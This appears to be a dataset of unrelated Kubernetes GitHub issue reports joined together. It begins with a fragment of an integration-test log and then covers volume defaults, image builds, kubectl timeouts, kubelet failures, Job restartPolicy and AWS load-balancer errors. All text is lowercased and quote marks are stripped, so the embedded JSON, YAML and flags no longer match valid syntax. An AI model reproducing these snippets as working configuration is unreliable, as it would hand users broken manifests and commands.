<none>\  groups=\ <none>\  as=\ <self>\  asgroups=\ <lookup>\  namespace=\ <none>\  uri=\ /apis/mygroup.example.com/v1alpha1\  response=\ 404\ \r 2017-05-25t09:16:23.729122625-07:00 audit: id=\ c275c197-8a5c-4a5e-9fa9-ef37dd2bff60\  ip=\ 127.0.0.1\  method=\ update\  user=\ <none>\  groups=\ <none>\  as=\ <self>\  asgroups=\ <lookup>\  namespace=\ <none>\  uri=\ /apis/apiextensions.k8s.io/v1alpha1/customresourcedefinitions/noxus.mygroup.example.com/status\  response=\ 200\ \r 2017-05-25t09:16:23.732372793-07:00 audit: id=\ 3666a3ff-df4e-4eaf-aecd-d2eaaff0f3ff\  ip=\ 127.0.0.1\  method=\ update\  user=\ <none>\  groups=\ <none>\  as=\ <self>\  asgroups=\ <lookup>\  namespace=\ <none>\  uri=\ /apis/apiextensions.k8s.io/v1alpha1/customresourcedefinitions/noxus.mygroup.example.com/status\  response=\ 409\ \r e0525 09:16:23.733139   16520 naming_controller.go:316  noxus.mygroup.example.com failed with: the server reported a conflict  put customresourcedefinitions.apiextensions.k8s.io noxus.mygroup.example.com \r 2017-05-25t09:16:23.754512366-07:00 audit: id=\ e84a520b-debb-41bc-9b4c-32299fc77ac9\  ip=\ 127.0.0.1\  method=\ get\  user=\ <none>\  groups=\ <none>\  as=\ <self>\  asgroups=\ <lookup>\  namespace=\ <none>\  uri=\ /apis/mygroup.example.com/v1alpha1\  response=\ 200\ \r 2017-05-25t09:16:23.75567665-07:00 audit: id=\ d077799d-1428-4c0a-aa3a-058b2de5ea95\  ip=\ 127.0.0.1\  method=\ list\  user=\ <none>\  groups=\ <none>\  as=\ <self>\  asgroups=\ <lookup>\  namespace=\ <none>\  uri=\ /apis/mygroup.example.com/v1alpha1/noxus\  response=\ 200\ \r 2017-05-25t09:16:23.760866494-07:00 audit: id=\ ae6a645d-a7f4-4724-a026-ce1d01ac3428\  ip=\ 127.0.0.1\  method=\ watch\  user=\ <none>\  groups=\ <none>\  as=\ <self>\  asgroups=\ <lookup>\  namespace=\ <none>\  uri=\ /apis/mygroup.example.com/v1alpha1/noxus?resourceversion=8420&watch=true\  response=\ <deferred>\ \r 2017-05-25t09:16:23.762105972-07:00 audit: id=\ c0605d78-9421-4648-8106-784fc848b2d4\  ip=\ 127.0.0.1\  method=\ create\  user=\ <none>\  groups=\ <none>\  as=\ <self>\  asgroups=\ <lookup>\  namespace=\ namespace-1\  uri=\ /apis/mygroup.example.com/v1alpha1/namespaces/namespace-1/noxus\  response=\ 201\ \r 2017-05-25t09:16:23.7650626-07:00 audit: id=\ eaee5741-5030-468c-b512-274bd9916f5b\  ip=\ 127.0.0.1\  method=\ watch\  user=\ <none>\  groups=\ <none>\  as=\ <self>\  asgroups=\ <lookup>\  namespace=\ namespace-1\  uri=\ /apis/mygroup.example.com/v1alpha1/namespaces/namespace-1/noxus?resourceversion=8420&watch=true\  response=\ <deferred>\ \r 2017-05-25t09:16:23.7650626-07:00 audit: id=\ eaee5741-5030-468c-b512-274bd9916f5b\  ip=\ 127.0.0.1\  method=\ watch\  user=\ <none>\  groups=\ <none>\  as=\ <self>\  asgroups=\ <lookup>\  namespace=\ namespace-1\  uri=\ /apis/mygroup.example.com/v1alpha1/namespaces/namespace-1/noxus?resourceversion=8420&watch=true\  response=\ 200\ \r e0525 09:16:23.765876   16520 streamwatcher.go:109  unable to decode an event from the watch stream: unable to decode watch event: object 'kind' is missing in '{\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ too old resource version: 8420  8421 \ ,\ reason\ :\ gone\ ,\ code\ :410}'\r 2017-05-25t09:16:23.765878749-07:00 audit: id=\ 4bd54474-8c25-495b-aea2-1af413fcd1c3\  ip=\ 127.0.0.1\  method=\ create\  user=\ <none>\  groups=\ <none>\  as=\ <self>\  asgroups=\ <lookup>\  namespace=\ namespace-2\  uri=\ /apis/mygroup.example.com/v1alpha1/namespaces/namespace-2/noxus\  response=\ 201\ \r 2017-05-25t09:16:23.767748183-07:00 audit: id=\ 895343c0-0f3a-475f-8c14-0d01b820c2af\  ip=\ 127.0.0.1\  method=\ watch\  user=\ <none>\  groups=\ <none>\  as=\ <self>\  asgroups=\ <lookup>\  namespace=\ namespace-2\  uri=\ /apis/mygroup.example.com/v1alpha1/namespaces/namespace-2/noxus?resourceversion=8420&watch=true\  response=\ <deferred>\ \r 2017-05-25t09:16:23.767748183-07:00 audit: id=\ 895343c0-0f3a-475f-8c14-0d01b820c2af\  ip=\ 127.0.0.1\  method=\ watch\  user=\ <none>\  groups=\ <none>\  as=\ <self>\  asgroups=\ <lookup>\  namespace=\ namespace-2\  uri=\ /apis/mygroup.example.com/v1alpha1/namespaces/namespace-2/noxus?resourceversion=8420&watch=true\  response=\ 200\ \r e0525 09:16:23.768395   16520 streamwatcher.go:109  unable to decode an event from the watch stream: unable to decode watch event: object 'kind' is missing in '{\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ too old resource version: 8420  8421 \ ,\ reason\ :\ gone\ ,\ code\ :410}'\r 2017-05-25t09:16:23.768447796-07:00 audit: id=\ d2b12249-f743-4ef5-b12f-efadece43220\  ip=\ 127.0.0.1\  method=\ list\  user=\ <none>\  groups=\ <none>\  as=\ <self>\  asgroups=\ <lookup>\  namespace=\ <none>\  uri=\ /apis/mygroup.example.com/v1alpha1/noxus\  response=\ 200\ \r --- fail: testcrossnamespacelistwatch  0.24s \r \tbasic_test.go:501: expected added, got \r === run   testmultipleresourceinstances\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r no\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r head\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r i have a user who faced an odd problem. \r \r    \r   42m\t\t42m\t\t1\t{kubelet 172.168.200.150}\tspec.containers{vr2}\twarning\t\tfailed\t\tfailed to start container with docker id 0f4f50e2e7bb with error: error response from daemon: {\ message\ :\ invalid header field value \\\ oci runtime error: container_linux.go:247: starting container process caused \\\\\\\ no such file or directory\\\\\\\ \\\ \\\ \ }\r    \r \r finally we found that it was due to mounting an emptydir volume to  /dev  in container.\r \r he intended to configure volumes in pod manifest as below and mount the volume to  /dev  in container.\r    \r     \ volumes\ :  \r       {\r         \ name\ : \ dev\ ,\r         \ hostpath\ : {\r               \ path\ : \ /dev\ \r         }\r       }\r      \r    \r \r but for whatever reason he configured it as below. no volume type was specified. this led to an emptydir type volume.\r    \r     \ volumes\ :  \r       {\r         \ name\ : \ dev\ \r       }\r      \r    \r \r   what you expected to happen  :\r validate if volume type is not specified, and error out.\r \r maybe there is some reason for defaulting to emptydir by design. but i didn't find any description about this in  design-proposals  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/volumes.md  or  user guide docs  https://kubernetes.io/docs/concepts/storage/volumes .\r \r at least we should document this default  behavior.\r \r   how to reproduce it    as minimally and precisely as possible :\r - configure a volume without type in pod manifest\r - create the pod\r - describe the pod\r \r   anything else we need to know  :\r \r   \r /cc @jingxu97 @smarterclayton

is this a bug report or feature request?    choose one :\r \r bug report\r \r   kubernetes version    use  kubectl version  : head\r \r since v1.7.0-alpha.3, control plane images are only pushed for amd64.\r compare: https://gcr.io/v2/google_containers/kube-apiserver-amd64/tags/list to https://gcr.io/v2/google_containers/kube-apiserver-arm/tags/list\r \r _this is a release-blocker and should be fixed asap._\r \r i guess the actual regression code-wise happened in test infra.\r \r cc @kubernetes/kubernetes-release-managers @kubernetes/sig-testing-bugs @kubernetes/sig-release-bugs @ixdy

created a gossip-based cluster using kops 1.6.2. created a wildfly rc using the resource file https://github.com/arun-gupta/kubernetes-java-sample/blob/master/wildfly-rc.yaml.\r \r watched the status as  kubectl get -w po . its shown as:\r \r    \r name               ready     status              restarts   age\r wildfly-rc-1l9qv   0/1       containercreating   0          <invalid>\r wildfly-rc-6p7wk   1/1       running   0         <invalid>\r wildfly-rc-1l9qv   1/1       running   0         6s\r    \r \r the second pod  age  is shown as  <invalid>  even though it's in  running  status.\r \r terminating the watch and viewing the status again shows the output correctly as:\r \r    \r name               ready     status    restarts   age\r wildfly-rc-1l9qv   1/1       running   0          45s\r wildfly-rc-6p7wk   1/1       running   0         45s\r    \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  : api discovery is missing  shortnames  for  svc  and  netpol \r \r   what you expected to happen  : it ideally shouldn't be missing, as these are defined  here  https://github.com/kubernetes/kubernetes/blob/b1040171b68217dccb617de85defa4a5063c638b/pkg/kubectl/kubectl.go l46-l141 , which is used by  kubectl  when resolving shortcuts  in addition to the dynamic discovery information .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1.  curl $apiserver/api/v1  -  services  has  null  for  shortnames \r 1.  curl $apiserver/apis/extensions/v1beta1  -  networkpolicies  has  null  for  shortnames \r \r \r   anything else we need to know?  :\r \r for services, the servicereststorage object created  here  https://github.com/kubernetes/kubernetes/blob/b1040171b68217dccb617de85defa4a5063c638b/pkg/registry/core/rest/storage_core.go?utf8=%e2%9c%93 l145  does implement the required  shortnames    function correctly, but this isn't the rest storage that's directly installed into the apiserver. instead, it gets wrapped inside a  service.registry  and then passed to a wrapper rest storage  here  https://github.com/kubernetes/kubernetes/blob/b1040171b68217dccb617de85defa4a5063c638b/pkg/registry/core/rest/storage_core.go?utf8=%e2%9c%93 l180 , which ultimately ends up getting installed  here  https://github.com/kubernetes/kubernetes/blob/b1040171b68217dccb617de85defa4a5063c638b/pkg/registry/core/rest/storage_core.go?utf8=%e2%9c%93 l198 . i'm guessing that because  servicereststorage  isn't directly installed, its  shortnames    implementation isn't available and it's not being used.\r \r for networkpolicies, we just need to implement  shortnames   .\r \r cc @deads2k @liggitt @timothysc @skriss @jbeda

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r \r   what you expected to happen  :\r have a use case when containers in a pod need to be killed in some predefined order. will in be possible to add a pod-level lifecycle as there is for container lifecycle. for example, something like kill  container 2  if  container 1  has shut down, where both containers are in the same pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r  \r >  \r \r   what happened  :\r my pods often got evicted when i have 10g disks, after more check, i found that the disk pressure caused the pod eviction as the default value of  nodefs.available<10% , so if i have 1000g disk, then if the disk size is less than 1000g 10%=100g, my pods will got evicted even i have 100g disk, this is not reasonable. \r \r for the fix, we should use an absolute value as the  nodefs.available , based on my test, 2g is good enough.\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/apis/kubeletconfig/v1alpha1/defaults.go l212\r \r  \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r tried starting kubelet with  --register-with-taints=my.org/mytaint=true:noschedule . kubelet fails saying the taint key is invalid, even though it is valid.\r \r   what you expected to happen  :\r it should taint with  my.org/mytaint .\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.4\r

 \r kubectl exec seems to have an idle timeout which can cause issues for long-running, non-verbose apps  like silent uploads/downloads, or compression \r \r   what happened  :\r while uploading a large file onto a server from within the container  e.g. curl -x post localhost , there is a significant delay while my server processes the upload. it returns  100 continue  making curl wait, but during this time, kubectl exec cuts the connection\r \r e.g.\r \r    \r time kubectl exec -itn staging staging-master 59787b9f4d-dsjjg -- tail -f /usr/local/bin/log\r working....\r done\r creating connector\r http/1.1 100 \r \r http/1.1 204 \r content-language: en\r date: sun, 10 jun 2018 09:56:05 gmt\r \r {\ acknowledged\ :true}{\ acknowledged\ :true}\r importing content\r http/1.1 100 \r \r  connection cuts here \r real\t5m2.578s\r user\t0m0.200s\r sys\t0m0.044s\r \r    \r \r   what you expected to happen  :\r be able to change the  idle?  timeout of kubectl or remove it completely\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create an empty file on a container which has bash or similar shell\r 2. run kubectl exec -it pod-name -- bash tail -f /path/to/file   or possibly a long-running archiving command \r 3. wait for around 5 minutes\r 4. kubectl cuts the connection\r \r \r   anything else we need to know?  :\r n/a\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:13:31z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r - cloud provider or hardware configuration:\r aws\r \r - os  e.g. from /etc/os-release :\r ubuntu artful\r \r - kernel  e.g.  uname -a  :\r linux ubuntu-mac 4.13.0-43-generic  48-ubuntu smp wed may 16 12:18:48 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r kops\r \r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r @kubernetes/sig-contributor-experience-bugs\r \r   what happened  : kubelet is not running; so can't run kubeadm init. pulling config image fail.\r  root@kekecentest04 run   systemctl status kubelet\r ● kubelet.service - kubelet: the kubernetes node agent\r    loaded: loaded  /etc/systemd/system/kubelet.service; enabled; vendor preset: disabled \r   drop-in: /etc/systemd/system/kubelet.service.d\r            └─10-kubeadm.conf\r    active: activating  auto-restart   result: exit-code  since wed 2018-11-14 13:55:59 eat; 2s ago\r      docs: https://kubernetes.io/docs/\r   process: 29502 execstart=/usr/bin/kubelet $kubelet_kubeconfig_args $kubelet_config_args $kubelet_kubeadm_args $kubelet_extra_args  code=exited, status=255 \r  main pid: 29502  code=exited, status=255 \r \r nov 14 13:55:59 kekecentest04 systemd 1 : kubelet.service: main process exited, code=exited, status=255/n/a\r nov 14 13:55:59 kekecentest04 systemd 1 : unit kubelet.service entered failed state.\r nov 14 13:55:59 kekecentest04 systemd 1 : kubelet.service failed.\r \r   what you expected to happen  :\r kubelet should be running, in active state. but it's in activating/failed state.\r hence kubeadm init should run successfully.\r kubeadm init --apiserver-advertise-address=172.23.19.51 --pod-network-cidr=10.244.0.0/16\r \r   how to reproduce it  as minimally and precisely as possible   :\r installed k8s on fresh centos 7.4. followed below document\r https://www.howtoforge.com/tutorial/centos-kubernetes-docker-cluster/\r  root@kekecentest04 system   rpm -aq | grep -i kube\r kubelet-1.12.2-0.x86_64\r kubeadm-1.12.2-0.x86_64\r kubernetes-cni-0.6.0-0.x86_64\r kubectl-1.12.2-0.x86_64\r \r   anything else we need to know?  :\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  root@kekecentest05 tmp   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-24t06:54:59z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r - cloud provider or hardware configuration:\r ram: 4gb, disk 40 gb, cpus: 2\r - os  e.g. from /etc/os-release :\r centos linux release 7.4.1708  core \r - kernel  e.g.  uname -a  :\r linux kekecentest05 3.10.0-693.17.1.el7.x86_64  1 smp sun jan 14 10:36:03 est 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r yum\r - others:\r   ==== docker version ==== installed using tarball  \r client:\r  version:           18.06.1-ce\r  api version:       1.38\r  go version:        go1.10.3\r  git commit:        e68fc7a\r  built:             tue aug 21 17:20:43 2018\r  os/arch:           linux/amd64\r  experimental:      false\r \r server:\r  engine:\r   version:          18.06.1-ce\r   api version:      1.38  minimum version 1.12 \r   go version:       go1.10.3\r   git commit:       e68fc7a\r   built:            tue aug 21 17:28:38 2018\r   os/arch:          linux/amd64\r   experimental:     false\r \r   ==== output of  journalctl _systemd_unit=kubelet.service ====  \r nov 14 10:25:53 kekecentest05 kubelet 13018 : f1114 10:25:53.426389   13018 server.go:190  failed to load kubelet config file /var/lib/kubelet/config.yaml, error failed\r \r   ==== output while tried creating config.yaml from solution someone suggested ====  \r kubeadm upgrade node config --kubelet-version v1.12.2\r couldn't create a kubernetes client from file \ /etc/kubernetes/kubelet.conf\ : failed to load admin kubeconfig  open /etc/kubernetes/kubelet.conf: no such file or directory \r <!-- do not edit below this line -->\r 

self explanatory, see  11003     update    to clarify, we want the images in contrib/prometheus to pull from some professionally namespaced docker hub or container registry  gcr.io or docker hub prometheus/ .   its a little weird to depend on a personal docker registry imo.

strawman proposal: create a series of layered services  e.g. the onion router network  and measure rtt time for requests to pass through n layers of services. vary n and the cluster size.

38844 added kubectl tests with federation apiserver, but did not enable them for deployments since they were failing. we need to debug the issue, fix it and then enable the tests for deployments.\r \r here is the corresponding todo that needs fixing: https://github.com/kubernetes/kubernetes/blob/f74b4bbbad5463aa35b5d4d769b80db19cf12ee0/hack/make-rules/test-federation-cmd.sh l77\r \r related issue for replicasets: https://github.com/kubernetes/kubernetes/issues/39984

kubernetes version    use  kubectl version  : v1.4.6, v1.5.1, likely many versions\r \r \r   environment  :\r -   cloud provider or hardware configuration  : azure / azure container service\r -   os    e.g. from /etc/os-release : ubuntu xenial\r -   kernel    e.g.  uname -a  : latest 16.04-lts kernel\r -   install tools  : cloud-init + hyperkube\r -   others  :\r \r   configuration details  :\r \r    kubelet  runs in a container\r   master services run as static manifests\r   kube-addon-manager runs as a static manifest\r    kube-proxy  runs in iptables mode via a daemonset\r \r   what happened  :\r after upgrading to docker 1.13.0 on the nodes, outbound container traffic stops working\r \r   what you expected to happen  :\r outbound container traffic to work  aka, i can hit the internet and service ips from inside the container \r \r   how to reproduce it    as minimally and precisely as possible :\r deploy an acs kubernets cluster. if the workaround has rolled out, then force upgrade docker to 1.13  you'll have to remove a pin we're setting in /etc/apt/preferences.d .\r \r unclear if this repros on other configurations right now.\r \r   anything else do we need to know  :\r \r no, i just don't know where/how to best troubleshoot this.

is this a request for help?  : no.\r \r   what keywords did you search in kubernetes issues before filing this one?  : \ supported values\ \r \r ref  35131\r \r ---\r \r   is this a bug report or feature request?  : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version  : 1.5.2\r \r   environment  : not relevant for that issue\r \r   what happened  :\r   i created a job   without   a  restartpolicy    spec.template.spec.restartpolicy  \r   the job was created with  restartpolicy  defaulting to  always \r    restartpolicy  does not accept the value  always , so the creation failed with  the job \ platform-init\  is invalid: spec.template.spec.restartpolicy: unsupported value: \ always\ : supported values: onfailure, never \r \r   what you expected to happen  :\r    restartpolicy  defaults to  never   at least a valid value, not  always  \r  or \r    restartpolicy  is a required value  eg.  spec.template.spec.containers.image   \r \r   how to reproduce it    as minimally and precisely as possible :\r    yaml\r ---\r \r apiversion: batch/v1\r kind: job\r \r metadata:\r   name: platform-init\r \r spec:\r \r   template:\r \r     metadata:\r \r       labels:\r         tier: backend\r         service: platform\r         role: init\r \r     spec:\r \r       containers:\r \r       - name: platform\r         image: tianon/true\r         imagepullpolicy: always\r

my server is running on aliyun ecs. check the configuration and see only the intranet ip,\r public network ip is not in ifconfig result list.\r   can kube-apiservice use public network ip binding?  \r \r the 3 configuration with the intranet ip and 0.0.0.0 normal, with the public network ip reported wrong.\r \r   --advertise-address=${master_ip} \\\\\r   --bind-address=${master_ip} \\\\\r   --insecure-bind-address=${master_ip} \\\\\r \r ifconfig result:\r \r  docker0: flags=4163<up,broadcast,running,multicast>  mtu 1450\r         inet 172.30.37.1  netmask 255.255.255.0  broadcast 0.0.0.0\r         ether 02:42:8b:b0:03:9e  txqueuelen 0   ethernet \r         rx packets 21997  bytes 4011073  3.8 mib \r         rx errors 0  dropped 0  overruns 0  frame 0\r         tx packets 21635  bytes 9872155  9.4 mib \r         tx errors 0  dropped 0 overruns 0  carrier 0  collisions 0\r \r eth0: flags=4163<up,broadcast,running,multicast>  mtu 1500\r         inet 172.17.39.128  netmask 255.255.240.0  broadcast 172.17.47.255\r         ether 00:16:3e:32:e4:08  txqueuelen 1000   ethernet \r         rx packets 186365  bytes 236808045  225.8 mib \r         rx errors 0  dropped 0  overruns 0  frame 0\r         tx packets 96579  bytes 16329913  15.5 mib \r         tx errors 0  dropped 0 overruns 0  carrier 0  collisions 0\r \r flannel.1: flags=4163<up,broadcast,running,multicast>  mtu 1450\r         inet 172.30.37.0  netmask 255.255.255.255  broadcast 0.0.0.0\r         ether 56:42:1b:0e:26:f0  txqueuelen 0   ethernet \r         rx packets 1952  bytes 189827  185.3 kib \r         rx errors 0  dropped 0  overruns 0  frame 0\r         tx packets 1729  bytes 200966  196.2 kib \r         tx errors 0  dropped 0 overruns 0  carrier 0  collisions 0\r \r lo: flags=73<up,loopback,running>  mtu 65536\r         inet 127.0.0.1  netmask 255.0.0.0\r         loop  txqueuelen 1   local loopback \r         rx packets 276471  bytes 84447679  80.5 mib \r         rx errors 0  dropped 0  overruns 0  frame 0\r         tx packets 276471  bytes 84447679  80.5 mib \r         tx errors 0  dropped 0 overruns 0  carrier 0  collisions 0 \r \r   how to change the endpoints to public network ip?  \r \r  kubectl describe svc kubernetes\r name:\t\t\tkubernetes\r namespace:\t\tdefault\r labels:\t\t\tcomponent=apiserver\r \t\t\tprovider=kubernetes\r annotations:\t\t<none>\r selector:\t\t<none>\r type:\t\t\tclusterip\r ip:\t\t\t10.254.0.1\r port:\t\t\thttps\t443/tcp\r endpoints:\t\t172.17.39.128:6443\r session affinity:\tclientip\r events:\t\t\t<none> \r \r  kubectl edit svc kubernetes\r \r   please edit the object below. lines beginning with a ' ' will be ignored,\r   and an empty file will abort the edit. if an error occurs while saving this file will be\r   reopened with the relevant failures.\r  \r apiversion: v1\r kind: service\r metadata:\r   creationtimestamp: 2017-06-15t06:19:04z\r   labels:\r     component: apiserver\r     provider: kubernetes\r   name: kubernetes\r   namespace: default\r   resourceversion: \ 27\ \r   selflink: /api/v1/namespaces/default/services/kubernetes\r   uid: 87db7f29-5192-11e7-99f3-00163e32e408\r spec:\r   clusterip: 10.254.0.1\r   ports:\r   - name: https\r     port: 443\r     protocol: tcp\r     targetport: 6443\r   sessionaffinity: clientip\r   type: clusterip\r status:\r   loadbalancer: {} \r \r \r \r \r \r

 \r   what happened  :\r we've had a loadbalancer service defined for a while that sits in front of a set of pods running the nginx ingress controller. i've noticed that for a while we've got events recording it trying to create a load-balancer  when one already exists  and failing as it attempts to \ detach all subnets\ .\r \r the service was created around a month ago, no changes have been made recently but 13 days ago is the first instance of it trying to create a new load balancer.\r \r describing the service yields the following:\r \r    \r name:\t\t\tnginx-ingress-svc-internal\r namespace:\t\tkube-system\r labels:\t\t\t<none>\r annotations:\t\tkubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ v1\ ,\ kind\ :\ service\ ,\ metadata\ :{\ annotations\ :{\ service.beta.kubernetes.io/aws-load-balancer-backend-protocol\ :\ http\ ,\ service.beta.kub...\r \t\t\tservice.beta.kubernetes.io/aws-load-balancer-backend-protocol=http\r \t\t\tservice.beta.kubernetes.io/aws-load-balancer-internal=0.0.0.0/0\r \t\t\tservice.beta.kubernetes.io/aws-load-balancer-ssl-cert=arn:aws:acm:eu-west-1:xxxx:certificate/xxxxxxxx\r \t\t\tservice.beta.kubernetes.io/aws-load-balancer-ssl-ports=https\r selector:\t\tname=nginx-ingress-lb-internal\r type:\t\t\tloadbalancer\r ip:\t\t\t100.64.226.145\r loadbalancer ingress:\tinternal-xxxxxx.eu-west-1.elb.amazonaws.com\r port:\t\t\thttp\t80/tcp\r nodeport:\t\thttp\t31560/tcp\r endpoints:\t\t192.168.114.90:80,192.168.23.28:80,192.168.27.16:80 + 7 more...\r port:\t\t\thttps\t443/tcp\r nodeport:\t\thttps\t31631/tcp\r endpoints:\t\t192.168.114.90:80,192.168.23.28:80,192.168.27.16:80 + 7 more...\r session affinity:\tnone\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t\t\t-------\r   13d\t\t10m\t\t186\tservice-controller\t\t\tnormal\t\tupdatedloadbalancer\t\tupdated load balancer with new hosts\r   13d\t\t2m\t\t4026\tservice-controller\t\t\tnormal\t\tcreatingloadbalancer\t\tcreating load balancer\r   13d\t\t2m\t\t4017\tservice-controller\t\t\twarning\t\tcreatingloadbalancerfailed\t combined from similar events : error creating load balancer  will retry : failed to create load balancer for service kube-system/nginx-ingress-svc-internal: error detaching aws loadbalancer from subnets: invalidconfigurationrequest: requested configuration change for loadbalancer \ xxxxxxxx\  is invalid because you attempted to detach all the subnets for this loadbalancer and a loadbalancer cannot be attached to zero subnets in vpc.\r \t\tstatus code: 409, request id: xxxxxxx\r    \r \r   what you expected to happen  :\r i would expect no messages in the events about creating a load-balancer.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i'm afraid i have no idea as we've had it running without issue and only noticed the event messages by accident.\r \r   anything else we need to know?  :\r it doesn't appear to impact us as the configuration for the load-balancer is correctly associated against all nodes in the cluster. the elb also appears to have the right tags associated:\r \r    \r kubernetes.io/service-name: kube-system/nginx-ingress-svc-internal\r kubernetescluster: foo.x.x\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t07:00:21z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0+coreos.0\ , gitcommit:\ 8c1bf133b4129042ef8f7d1ffac1be14ee83ed10\ , gittreestate:\ clean\ , builddate:\ 2017-06-30t17:46:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r aws vpc, coreos container linux stable 1409.5.0.\r - os  e.g. from /etc/os-release :\r    name=\ container linux by coreos\ \r id=coreos\r version=1409.5.0\r version_id=1409.5.0\r build_id=2017-06-22-2222\r pretty_name=\ container linux by coreos 1409.5.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r - kernel  e.g.  uname -a  :\r    linux ip-172-19-12-176 4.11.6-coreos-r1  1 smp thu jun 22 22:04:38 utc 2017 x86_64 intel r  xeon r  cpu e5-2686 v4 @ 2.30ghz genuineintel gnu/linux   \r - install tools:\r - others:\r

